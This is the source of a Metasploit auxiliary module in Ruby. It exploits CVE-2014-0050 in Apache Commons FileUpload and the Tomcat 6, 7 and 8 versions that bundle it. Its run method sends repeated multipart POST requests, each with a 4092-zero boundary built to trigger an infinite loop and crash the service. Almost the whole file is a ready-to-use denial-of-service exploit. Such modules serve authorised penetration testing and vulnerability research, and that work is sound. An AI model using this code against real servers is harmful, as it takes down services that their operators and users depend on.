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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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  include Msf::Exploit::Remote::HttpClient
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  include Msf::Auxiliary::Dos
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Apache Commons FileUpload and Apache Tomcat DoS',
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        'Description' => %q{
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          This module triggers an infinite loop in Apache Commons FileUpload 1.0
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          through 1.3 via a specially crafted Content-Type header.
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          Apache Tomcat 7 and Apache Tomcat 8 use a copy of FileUpload to handle
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          mime-multipart requests, therefore, Apache Tomcat 7.0.0 through 7.0.50
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          and 8.0.0-RC1 through 8.0.1 are affected by this issue. Tomcat 6 also
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          uses Commons FileUpload as part of the Manager application.
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        },
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        'Author' => [
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          'Unknown', # This issue was reported to the Apache Software Foundation and accidentally made public.
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          'ribeirux' # metasploit module
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        ],
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        'License' => MSF_LICENSE,
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        'References' => [
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          ['CVE', '2014-0050'],
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          ['URL', 'https://tomcat.apache.org/security-8.html'],
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          ['URL', 'https://tomcat.apache.org/security-7.html']
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        ],
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        'DisclosureDate' => '2014-02-06',
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        'Notes' => {
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          'Stability' => [CRASH_SERVICE_DOWN],
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          'SideEffects' => [],
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          'Reliability' => []
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        }
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      )
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    )
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    register_options(
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      [
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        Opt::RPORT(8080),
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        OptString.new('TARGETURI', [ true, 'The request URI', '/']),
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        OptInt.new('RLIMIT', [ true, 'Number of requests to send', 50])
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      ]
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    )
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  end
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  def run
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    boundary = '0' * 4092
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    opts = {
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      'method' => 'POST',
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      'uri' => normalize_uri(target_uri.to_s),
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      'ctype' => "multipart/form-data; boundary=#{boundary}",
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      'data' => "#{boundary}00000",
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      'headers' => {
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        'Accept' => '*/*'
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      }
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    }
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    # XXX: There is rarely, if ever, a need for a 'for' loop in Ruby
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    # This should be rewritten with 1.upto() or Enumerable#each or
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    # something
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    for x in 1..datastore['RLIMIT']
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      print_status("Sending request #{x} to #{peer}")
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      begin
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        c = connect
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        r = c.request_cgi(opts)
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        c.send_request(r)
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        # Don't wait for a response
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      rescue ::Rex::ConnectionError => e
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        print_error("Unable to connect: '#{e.message}'")
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        return
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      ensure
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        disconnect(c) if c
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      end
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    end
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  end
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end
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